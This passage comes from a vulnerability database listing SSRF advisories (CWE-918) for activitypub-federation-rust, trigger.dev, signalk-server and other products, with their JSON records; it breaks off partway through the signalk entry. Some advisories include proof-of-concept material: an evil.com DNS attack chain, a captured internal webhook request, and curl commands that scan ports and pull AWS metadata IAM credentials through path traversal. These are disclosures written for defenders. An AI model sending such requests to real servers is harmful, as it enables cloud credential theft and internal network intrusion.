CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6271 vulnerabilities reference this CWE, most recent first.
GHSA-Q537-8FR5-CW35
Vulnerability from github – Published: 2026-03-25 20:23 – Updated: 2026-03-27 21:36Summary
The v4_is_invalid() function in activitypub-federation-rust (src/utils.rs) does not check for Ipv4Addr::UNSPECIFIED (0.0.0.0). An unauthenticated attacker controlling a remote domain can point it to 0.0.0.0, bypass the SSRF protection introduced by the fix for CVE-2025-25194 (GHSA-7723-35v7-qcxw), and reach localhost services on the target server.
Details
File: src/utils.rs in activitypub-federation-rust
Function: v4_is_invalid(v4: Ipv4Addr) -> bool
The function checks is_private(), is_loopback(), is_link_local(), is_multicast(), and is_documentation() — but omits is_unspecified(). On Linux, macOS, and Windows, TCP connections to 0.0.0.0 are routed to localhost (127.0.0.1).
Additionally, ::ffff:0.0.0.0 (IPv4-mapped IPv6) also bypasses because v6_is_invalid() calls to_ipv4_mapped().is_some_and(v4_is_invalid), inheriting the same gap. Notably, v6_is_invalid() already includes is_unspecified() for native IPv6, making this an asymmetric oversight.
Independent secondary finding — DNS Rebinding TOCTOU:
is_invalid_ip() resolves DNS via lookup_host() for validation, but reqwest resolves DNS again for the actual connection. With TTL=0 DNS responses, an attacker can return a legitimate IP for the first resolution (passes check) and 127.0.0.1 for the second (reqwest connects to localhost). CVSS for rebinding alone: 4.8 (AC:H).
PoC
1. Logic Proof (reproduced from source):
fn v4_is_invalid(v4: Ipv4Addr) -> bool {
v4.is_private()
|| v4.is_loopback()
|| v4.is_link_local()
|| v4.is_multicast()
|| v4.is_documentation()
// BUG: Missing || v4.is_unspecified()
}
assert_eq!(v4_is_invalid(Ipv4Addr::UNSPECIFIED), false); // 0.0.0.0 PASSES validation
assert_eq!(v4_is_invalid(Ipv4Addr::LOCALHOST), true); // 127.0.0.1 correctly blocked
2. OS Routing Verification:
$ connect(0.0.0.0:80) → ConnectionRefused
ConnectionRefused proves the OS routed to localhost (port 80 not listening). Any service on 0.0.0.0:PORT is reachable.
3. Attack Chain:
- Attacker configures DNS:
evil.com A → 0.0.0.0 -
- Attacker sends ActivityPub activity referencing
https://evil.com/actor
- Attacker sends ActivityPub activity referencing
-
- Library calls
verify_url_valid()→is_invalid_ip()→ resolves to 0.0.0.0
- Library calls
-
v4_is_invalid(0.0.0.0)returnsfalse(BYPASS)
-
reqwestconnects to 0.0.0.0 → reaches localhost services
Impact
- Direct: Bypasses the SSRF protection layer for all ActivityPub federation traffic
-
- Downstream: 6+ dependent projects affected including Lemmy (13.7k stars), hatsu, gill, ties, fediscus, fediverse-axum
-
- Attacker can: Access cloud instance metadata (169.254.169.254 via rebinding), reach internal services on localhost, port scan internal infrastructure
Suggested Fix
fn v4_is_invalid(v4: Ipv4Addr) -> bool {
v4.is_private()
|| v4.is_loopback()
|| v4.is_link_local()
|| v4.is_multicast()
|| v4.is_documentation()
|| v4.is_unspecified() // ADD: blocks 0.0.0.0
|| v4.is_broadcast() // ADD: blocks 255.255.255.255
}
For DNS rebinding TOCTOU, pin the resolved IP:
let resolved_ip = lookup_host((domain, 80)).await?;
// validate resolved_ip...
let client = reqwest::Client::builder()
.resolve(domain, resolved_ip) // pin resolution
.build()?;
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "activitypub_federation"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.7.0-beta.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33693"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T20:23:38Z",
"nvd_published_at": "2026-03-27T01:16:18Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `v4_is_invalid()` function in `activitypub-federation-rust` (`src/utils.rs`) does not check for `Ipv4Addr::UNSPECIFIED` (0.0.0.0). An unauthenticated attacker controlling a remote domain can point it to 0.0.0.0, bypass the SSRF protection introduced by the fix for CVE-2025-25194 (GHSA-7723-35v7-qcxw), and reach localhost services on the target server.\n\n### Details\n\n**File:** `src/utils.rs` in `activitypub-federation-rust`\n**Function:** `v4_is_invalid(v4: Ipv4Addr) -\u003e bool`\n\nThe function checks `is_private()`, `is_loopback()`, `is_link_local()`, `is_multicast()`, and `is_documentation()` \u2014 but omits `is_unspecified()`. On Linux, macOS, and Windows, TCP connections to 0.0.0.0 are routed to localhost (127.0.0.1).\n\nAdditionally, `::ffff:0.0.0.0` (IPv4-mapped IPv6) also bypasses because `v6_is_invalid()` calls `to_ipv4_mapped().is_some_and(v4_is_invalid)`, inheriting the same gap. Notably, `v6_is_invalid()` already includes `is_unspecified()` for native IPv6, making this an asymmetric oversight.\n\n**Independent secondary finding \u2014 DNS Rebinding TOCTOU:**\n`is_invalid_ip()` resolves DNS via `lookup_host()` for validation, but `reqwest` resolves DNS again for the actual connection. With TTL=0 DNS responses, an attacker can return a legitimate IP for the first resolution (passes check) and 127.0.0.1 for the second (reqwest connects to localhost). CVSS for rebinding alone: 4.8 (AC:H).\n\n### PoC\n\n**1. Logic Proof (reproduced from source):**\n\n```rust\nfn v4_is_invalid(v4: Ipv4Addr) -\u003e bool {\n v4.is_private()\n || v4.is_loopback()\n || v4.is_link_local()\n || v4.is_multicast()\n || v4.is_documentation()\n // BUG: Missing || v4.is_unspecified()\n}\n\nassert_eq!(v4_is_invalid(Ipv4Addr::UNSPECIFIED), false); // 0.0.0.0 PASSES validation\nassert_eq!(v4_is_invalid(Ipv4Addr::LOCALHOST), true); // 127.0.0.1 correctly blocked\n```\n\n**2. OS Routing Verification:**\n\n```\n$ connect(0.0.0.0:80) \u2192 ConnectionRefused\n```\n\nConnectionRefused proves the OS routed to localhost (port 80 not listening). Any service on 0.0.0.0:PORT is reachable.\n\n**3. Attack Chain:**\n\n1. Attacker configures DNS: `evil.com A \u2192 0.0.0.0`\n2. 2. Attacker sends ActivityPub activity referencing `https://evil.com/actor`\n3. 3. Library calls `verify_url_valid()` \u2192 `is_invalid_ip()` \u2192 resolves to 0.0.0.0\n4. 4. `v4_is_invalid(0.0.0.0)` returns `false` (BYPASS)\n5. 5. `reqwest` connects to 0.0.0.0 \u2192 reaches localhost services\n### Impact\n\n- **Direct:** Bypasses the SSRF protection layer for all ActivityPub federation traffic\n- - **Downstream:** 6+ dependent projects affected including Lemmy (13.7k stars), hatsu, gill, ties, fediscus, fediverse-axum\n- - **Attacker can:** Access cloud instance metadata (169.254.169.254 via rebinding), reach internal services on localhost, port scan internal infrastructure\n### Suggested Fix\n\n```rust\nfn v4_is_invalid(v4: Ipv4Addr) -\u003e bool {\n v4.is_private()\n || v4.is_loopback()\n || v4.is_link_local()\n || v4.is_multicast()\n || v4.is_documentation()\n || v4.is_unspecified() // ADD: blocks 0.0.0.0\n || v4.is_broadcast() // ADD: blocks 255.255.255.255\n}\n```\n\nFor DNS rebinding TOCTOU, pin the resolved IP:\n\n```rust\nlet resolved_ip = lookup_host((domain, 80)).await?;\n// validate resolved_ip...\nlet client = reqwest::Client::builder()\n .resolve(domain, resolved_ip) // pin resolution\n .build()?;\n```",
"id": "GHSA-q537-8fr5-cw35",
"modified": "2026-03-27T21:36:54Z",
"published": "2026-03-25T20:23:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-q537-8fr5-cw35"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33693"
},
{
"type": "WEB",
"url": "https://github.com/LemmyNet/activitypub-federation-rust/commit/4ae8532b17bc35755240b7f55d4a5b7665351599"
},
{
"type": "PACKAGE",
"url": "https://github.com/LemmyNet/activitypub-federation-rust"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-7723-35v7-qcxw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Activitypub-Federation has SSRF via 0.0.0.0 bypass in activitypub-federation-rust v4_is_invalid()"
}
GHSA-Q543-X74M-R8Q9
Vulnerability from github – Published: 2026-02-18 00:30 – Updated: 2026-02-18 00:30StorageGRID (formerly StorageGRID Webscale) versions prior to 11.9.0.12 and 12.0.0.4 with Single Sign-on enabled and configured to use Microsoft Entra ID (formerly Azure AD) as an IdP are susceptible to a Server-Side Request Forgery (SSRF) vulnerability. Successful exploit could allow an authenticated attacker with low privileges to delete configuration data or deny access to some resources.
{
"affected": [],
"aliases": [
"CVE-2026-22048"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-18T00:16:18Z",
"severity": "HIGH"
},
"details": "StorageGRID (formerly StorageGRID Webscale) versions prior to 11.9.0.12 and 12.0.0.4 with Single Sign-on enabled and configured to use Microsoft Entra ID (formerly Azure AD) as an IdP are susceptible to a Server-Side Request Forgery (SSRF) vulnerability. Successful exploit could allow an authenticated attacker with low privileges to delete configuration data or deny access to some resources.",
"id": "GHSA-q543-x74m-r8q9",
"modified": "2026-02-18T00:30:16Z",
"published": "2026-02-18T00:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22048"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/NTAP-20260217-0001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q567-CR4X-96W4
Vulnerability from github – Published: 2026-10-02 22:35 – Updated: 2026-10-02 22:35Summary
A WEBHOOK alert channel stores a user-supplied url. When an alert fires (deployment/run failure, error groups), the webapp server (alertsWorker -> DeliverAlertService) POSTs the HMAC-signed alert payload to that URL via fetch(webhook.url, ...). The URL is never validated against a host allowlist or private-IP/metadata blocklist (a repo-wide search for 169.254, isPrivate, isLoopback, net.isIP, ssrf returns ZERO hits), and the API route's URL field is just z.string().optional() (no syntax check at all). So an authenticated tenant can point the webhook at internal infrastructure or 169.254.169.254 and the multi-tenant server fetches it.
Affected
apps/webapp, HEAD 5d99457 (current main).
Root cause
- Source (API route):
app/presenters/v3/ApiAlertChannelPresenter.server.tsApiAlertChannelData.url = z.string().optional()(no host validation); routeapp/routes/api.v1.projects.$projectRef.alertChannels.ts(PAT-auth). - Store:
app/v3/services/alerts/createAlertChannel.server.tspersists{url, secret, version}verbatim. - Sink:
app/v3/services/alerts/deliverAlert.server.ts:973fetch(webhook.url, {method:"POST", headers:{"x-trigger-signature-hmacsha256":...}, body:rawPayload}); identical atdeliverErrorGroupAlert.server.ts:258. Runs inside the webapp process;fetchfollows redirects (IMDSv1-via-redirect). No egress guard anywhere.
Runtime PoC (proven on self-host)
Seeded a project + STAGING env + a WEBHOOK channel with url=http://host.docker.internal:7766/... (an internal address from the server's POV) + a DEPLOYING deployment. Triggered via the public API POST /api/v1/deployments/deployment_ssrfpoc/fail -> 200 -> FAILED -> alertsWorker -> the server fetched the listener. Captured:
POST /ssrf-via-webhook HTTP/1.1
host: host.docker.internal:7766
x-trigger-signature-hmacsha256: <redacted>
user-agent: node
{"type":"alert.deployment.failed", ...}
The webapp server (user-agent: node) made an outbound POST to the attacker-chosen internal URL; 169.254.169.254 / any internal host works identically.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N ~ Medium. Blind (response not reflected) + POST-only (fixed body = signed alert payload), so it enables internal port/host scanning (delivery success/timing oracle), state-changing POSTs to internal services, and IMDSv1-via-redirect — not arbitrary GET exfiltration. PR:L (authenticated tenant). Egress private-IP/metadata blocking on server-issued webhooks is industry standard; its absence is the defect.
Suggested fix
Validate the webhook URL on create (require http(s), resolve host, reject private/link-local/loopback/metadata ranges) AND re-check at fetch time (re-resolve after redirects or disable redirects / pin to resolved public IP). A shared assertPublicUrl(url) used by createAlertChannel + the two delivery sinks.
Dup
Distinct CWE-918 class from the IDOR advisories. FRESH. (The Grav maintainer independently hardened the same webhook-URL-SSRF class in grav-plugin-api commit dfcc947 on 2026-06-26 — corroborating the class is real and fixable.)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.1"
},
"package": {
"ecosystem": "npm",
"name": "trigger.dev"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-02T22:35:31Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nA WEBHOOK alert channel stores a user-supplied `url`. When an alert fires (deployment/run failure, error groups), the webapp server (`alertsWorker` -\u003e `DeliverAlertService`) POSTs the HMAC-signed alert payload to that URL via `fetch(webhook.url, ...)`. The URL is never validated against a host allowlist or private-IP/metadata blocklist (a repo-wide search for `169.254`, `isPrivate`, `isLoopback`, `net.isIP`, `ssrf` returns ZERO hits), and the API route\u0027s URL field is just `z.string().optional()` (no syntax check at all). So an authenticated tenant can point the webhook at internal infrastructure or `169.254.169.254` and the multi-tenant server fetches it.\n\n### Affected\n`apps/webapp`, HEAD `5d99457` (current main).\n\n### Root cause\n- Source (API route): `app/presenters/v3/ApiAlertChannelPresenter.server.ts` `ApiAlertChannelData.url = z.string().optional()` (no host validation); route `app/routes/api.v1.projects.$projectRef.alertChannels.ts` (PAT-auth).\n- Store: `app/v3/services/alerts/createAlertChannel.server.ts` persists `{url, secret, version}` verbatim.\n- Sink: `app/v3/services/alerts/deliverAlert.server.ts:973` `fetch(webhook.url, {method:\"POST\", headers:{\"x-trigger-signature-hmacsha256\":...}, body:rawPayload})`; identical at `deliverErrorGroupAlert.server.ts:258`. Runs inside the webapp process; `fetch` follows redirects (IMDSv1-via-redirect). No egress guard anywhere.\n\n### Runtime PoC (proven on self-host)\nSeeded a project + STAGING env + a WEBHOOK channel with `url=http://host.docker.internal:7766/...` (an internal address from the server\u0027s POV) + a DEPLOYING deployment. Triggered via the public API `POST /api/v1/deployments/deployment_ssrfpoc/fail` -\u003e 200 -\u003e FAILED -\u003e alertsWorker -\u003e the server fetched the listener. Captured:\n```\nPOST /ssrf-via-webhook HTTP/1.1\nhost: host.docker.internal:7766\nx-trigger-signature-hmacsha256: \u003credacted\u003e\nuser-agent: node\n{\"type\":\"alert.deployment.failed\", ...}\n```\nThe webapp server (user-agent: node) made an outbound POST to the attacker-chosen internal URL; 169.254.169.254 / any internal host works identically.\n\n### Severity\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N` ~ Medium. Blind (response not reflected) + POST-only (fixed body = signed alert payload), so it enables internal port/host scanning (delivery success/timing oracle), state-changing POSTs to internal services, and IMDSv1-via-redirect \u2014 not arbitrary GET exfiltration. PR:L (authenticated tenant). Egress private-IP/metadata blocking on server-issued webhooks is industry standard; its absence is the defect.\n\n### Suggested fix\nValidate the webhook URL on create (require http(s), resolve host, reject private/link-local/loopback/metadata ranges) AND re-check at fetch time (re-resolve after redirects or disable redirects / pin to resolved public IP). A shared `assertPublicUrl(url)` used by `createAlertChannel` + the two delivery sinks.\n\n### Dup\nDistinct CWE-918 class from the IDOR advisories. FRESH. (The Grav maintainer independently hardened the same webhook-URL-SSRF class in grav-plugin-api commit dfcc947 on 2026-06-26 \u2014 corroborating the class is real and fixable.)",
"id": "GHSA-q567-cr4x-96w4",
"modified": "2026-10-02T22:35:31Z",
"published": "2026-10-02T22:35:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-q567-cr4x-96w4"
},
{
"type": "WEB",
"url": "https://github.com/triggerdotdev/trigger.dev/pull/4199"
},
{
"type": "WEB",
"url": "https://github.com/triggerdotdev/trigger.dev/commit/34b1a181c2a1d33a53ebab88f84b05f81fea4254"
},
{
"type": "PACKAGE",
"url": "https://github.com/triggerdotdev/trigger.dev"
},
{
"type": "WEB",
"url": "https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Trigger.dev: Blind SSRF via alert-channel webhook"
}
GHSA-Q56H-X9H5-Q53C
Vulnerability from github – Published: 2022-06-10 00:00 – Updated: 2022-06-17 21:48Kity Minder v1.3.5 was discovered to contain a Server-Side Request Forgery (SSRF) via the init function at ImageCapture.class.php.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "kityminder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.3.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31830"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-17T21:48:55Z",
"nvd_published_at": "2022-06-09T14:15:00Z",
"severity": "CRITICAL"
},
"details": "Kity Minder v1.3.5 was discovered to contain a Server-Side Request Forgery (SSRF) via the init function at ImageCapture.class.php.",
"id": "GHSA-q56h-x9h5-q53c",
"modified": "2022-06-17T21:48:55Z",
"published": "2022-06-10T00:00:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31830"
},
{
"type": "WEB",
"url": "https://github.com/fex-team/kityminder/issues/345"
},
{
"type": "PACKAGE",
"url": "https://github.com/fex-team/kityminder"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Server-Side Request Forgery in kityminder"
}
GHSA-Q57F-4WJ6-3JFC
Vulnerability from github – Published: 2023-02-20 18:30 – Updated: 2024-07-23 21:31Limited Server-Side Request Forgery (SSRF) in agent-receiver in Tribe29's Checkmk <= 2.1.0p11 allows an attacker to communicate with local network restricted endpoints by use of the host registration API.
{
"affected": [],
"aliases": [
"CVE-2022-48321"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-20T17:15:00Z",
"severity": "HIGH"
},
"details": "Limited Server-Side Request Forgery (SSRF) in agent-receiver in Tribe29\u0027s Checkmk \u003c= 2.1.0p11 allows an attacker to communicate with local network restricted endpoints by use of the host registration API.",
"id": "GHSA-q57f-4wj6-3jfc",
"modified": "2024-07-23T21:31:32Z",
"published": "2023-02-20T18:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48321"
},
{
"type": "WEB",
"url": "https://checkmk.com/werk/14385"
},
{
"type": "WEB",
"url": "https://www.sonarsource.com/blog/checkmk-rce-chain-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q57Q-P5MG-4C5W
Vulnerability from github – Published: 2025-01-10 00:30 – Updated: 2025-01-10 00:30A Server-Side Request Forgery (SSRF) vulnerability in Microsoft Purview allows an authorized attacker to disclose information over a network.
{
"affected": [],
"aliases": [
"CVE-2025-21385"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-09T22:15:29Z",
"severity": "HIGH"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability in Microsoft Purview allows an authorized attacker to disclose information over a network.",
"id": "GHSA-q57q-p5mg-4c5w",
"modified": "2025-01-10T00:30:36Z",
"published": "2025-01-10T00:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21385"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21385"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q59X-JC9F-GFQF
Vulnerability from github – Published: 2026-06-18 21:13 – Updated: 2026-06-18 21:13Summary
signalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The makeRemoteRequest() function accepts attacker-controlled host, port, useTLS, and selfsignedcert parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.
When security is not configured (the default state), these endpoints require no authentication.
Details
Vulnerable Function
The core vulnerability is in makeRemoteRequest() at src/serverroutes.ts:2483-2524:
function makeRemoteRequest(
host: string,
port: number,
useTLS: boolean,
selfsignedcert: boolean,
path: string,
method?: string,
headers?: Record<string, string>,
body?: unknown
): Promise<{ status: number | undefined; data: string }> {
const protocol = useTLS ? https : http
return new Promise((resolve, reject) => {
const options = {
hostname: host, // NO VALIDATION - attacker controlled
port, // NO VALIDATION - attacker controlled
path,
method: method || 'GET',
headers: {
...(headers || {}),
...(body ? { 'Content-Type': 'application/json' } : {})
},
rejectUnauthorized: !selfsignedcert // Attacker can disable TLS verification
}
const req = protocol.request(options, (response) => {
let data = ''
response.on('data', (chunk: string) => {
data += chunk
})
response.on('end', () => {
resolve({ status: response.statusCode, data })
})
})
req.on('error', reject)
req.setTimeout(10000, () => {
req.destroy(new Error('Connection timed out'))
})
if (body) {
req.write(JSON.stringify(body))
}
req.end()
})
}
Missing Validation
The function performs zero validation on the destination host. The following address ranges are all reachable:
- Loopback:
127.0.0.1,::1,localhost - RFC 1918 private ranges:
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 - Link-local / Cloud metadata:
169.254.169.254(AWS EC2 instance metadata, GCP, Azure IMDS) - IPv6 link-local:
fe80::/10 - Any arbitrary external host: enabling the server as an open proxy
Authentication Bypass via Default Configuration
The endpoints are protected by addAdminMiddleware() (lines 2339-2345):
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`)
However, when security is not configured, the server uses dummysecurity.ts, where addAdminMiddleware is a no-op:
addAdminMiddleware: () => {},
This means on a default installation with no admin user created, all three endpoints are accessible without any authentication.
Additional Attack Surface: TLS Verification Bypass
The selfsignedcert parameter directly controls rejectUnauthorized:
rejectUnauthorized: !selfsignedcert
When an attacker sets selfsignedcert: true, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.
Additional Attack Surface: Path Traversal in checkAccessRequest
The checkAccessRequest endpoint interpolates requestId directly into the URL path:
`/signalk/v1/requests/${requestId}`
An attacker can use path traversal (e.g., requestId: "../../other/endpoint") to target arbitrary paths on the destination host.
PoC
Target Setup
Set up a bare-metal signalk-server for testing (or use Docker to simulate):
docker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \
bash -c 'npm install -g signalk-server@2.27.0 && signalk-server'
# Wait for startup
until curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q "status"; do sleep 10; done
Set the target variable:
TARGET=http://127.0.0.1:3000
Confirm "authenticationRequired":false in the loginStatus response before proceeding.
PoC 1: Loopback Connection (Self-Discovery)
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
Response (confirms SSRF, the server connected to itself):
{
"success": true,
"authenticated": false,
"server": {
"id": "signalk-server-node",
"version": "2.27.0"
}
}
PoC 2: Port Scanning via Error Differentiation
# Open port (3000) — returns server data
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":true,"server":{"id":"signalk-server-node","version":"2.27.0"}}
# Closed port (9999) — immediate ECONNREFUSED
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"127.0.0.1","port":9999,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":false,"error":"connect ECONNREFUSED 127.0.0.1:9999"}
# Filtered port — 10-second timeout then error
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"10.0.0.1","port":22,"useTLS":false,"selfsignedcert":false}'
# Response (after 10s): {"success":false,"error":"Connection timed out"}
The three distinct error responses allow an attacker to map internal network topology.
PoC 3: AWS Instance Metadata Service (IMDSv1)
On a cloud-hosted signalk-server (AWS EC2):
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false}'
The server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use checkAccessRequest with path traversal in requestId:
curl -s -X POST $TARGET/skServer/checkAccessRequest \
-H "Content-Type: application/json" \
-d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false,"requestId":"../../latest/meta-data/iam/security-credentials/ROLE_NAME"}'
Impact
-
Internal Network Scanning: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds).
-
Cloud Metadata Exfiltration: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at
169.254.169.254to steal IAM credentials, instance identity tokens, and other sensitive metadata. -
Internal Service Data Exfiltration: The
testSignalKConnectionendpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet. -
Server-Side POST Requests: The
requestAccessendpoint sends a POST request with attacker-controlled JSON body (clientId,description), enabling interaction with internal APIs that accept POST requests. -
Lateral Movement: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.27.0"
},
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.28.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55591"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T21:13:36Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nsignalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The `makeRemoteRequest()` function accepts attacker-controlled `host`, `port`, `useTLS`, and `selfsignedcert` parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.\n\nWhen security is not configured (the default state), these endpoints require **no authentication**.\n\n### Details\n#### Vulnerable Function\n\nThe core vulnerability is in `makeRemoteRequest()` at `src/serverroutes.ts:2483-2524`:\n\n```typescript\nfunction makeRemoteRequest(\n host: string,\n port: number,\n useTLS: boolean,\n selfsignedcert: boolean,\n path: string,\n method?: string,\n headers?: Record\u003cstring, string\u003e,\n body?: unknown\n): Promise\u003c{ status: number | undefined; data: string }\u003e {\n const protocol = useTLS ? https : http\n return new Promise((resolve, reject) =\u003e {\n const options = {\n hostname: host, // NO VALIDATION - attacker controlled\n port, // NO VALIDATION - attacker controlled\n path,\n method: method || \u0027GET\u0027,\n headers: {\n ...(headers || {}),\n ...(body ? { \u0027Content-Type\u0027: \u0027application/json\u0027 } : {})\n },\n rejectUnauthorized: !selfsignedcert // Attacker can disable TLS verification\n }\n const req = protocol.request(options, (response) =\u003e {\n let data = \u0027\u0027\n response.on(\u0027data\u0027, (chunk: string) =\u003e {\n data += chunk\n })\n response.on(\u0027end\u0027, () =\u003e {\n resolve({ status: response.statusCode, data })\n })\n })\n req.on(\u0027error\u0027, reject)\n req.setTimeout(10000, () =\u003e {\n req.destroy(new Error(\u0027Connection timed out\u0027))\n })\n if (body) {\n req.write(JSON.stringify(body))\n }\n req.end()\n })\n}\n```\n\n#### Missing Validation\n\nThe function performs **zero validation** on the destination host. The following address ranges are all reachable:\n\n- **Loopback**: `127.0.0.1`, `::1`, `localhost`\n- **RFC 1918 private ranges**: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`\n- **Link-local / Cloud metadata**: `169.254.169.254` (AWS EC2 instance metadata, GCP, Azure IMDS)\n- **IPv6 link-local**: `fe80::/10`\n- **Any arbitrary external host**: enabling the server as an open proxy\n\n#### Authentication Bypass via Default Configuration\n\nThe endpoints are protected by `addAdminMiddleware()` (lines 2339-2345):\n\n```typescript\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`)\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`)\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`)\n```\n\nHowever, when security is not configured, the server uses `dummysecurity.ts`, where `addAdminMiddleware` is a **no-op**:\n\n```typescript\naddAdminMiddleware: () =\u003e {},\n```\n\nThis means on a default installation with no admin user created, **all three endpoints are accessible without any authentication**.\n\n#### Additional Attack Surface: TLS Verification Bypass\n\nThe `selfsignedcert` parameter directly controls 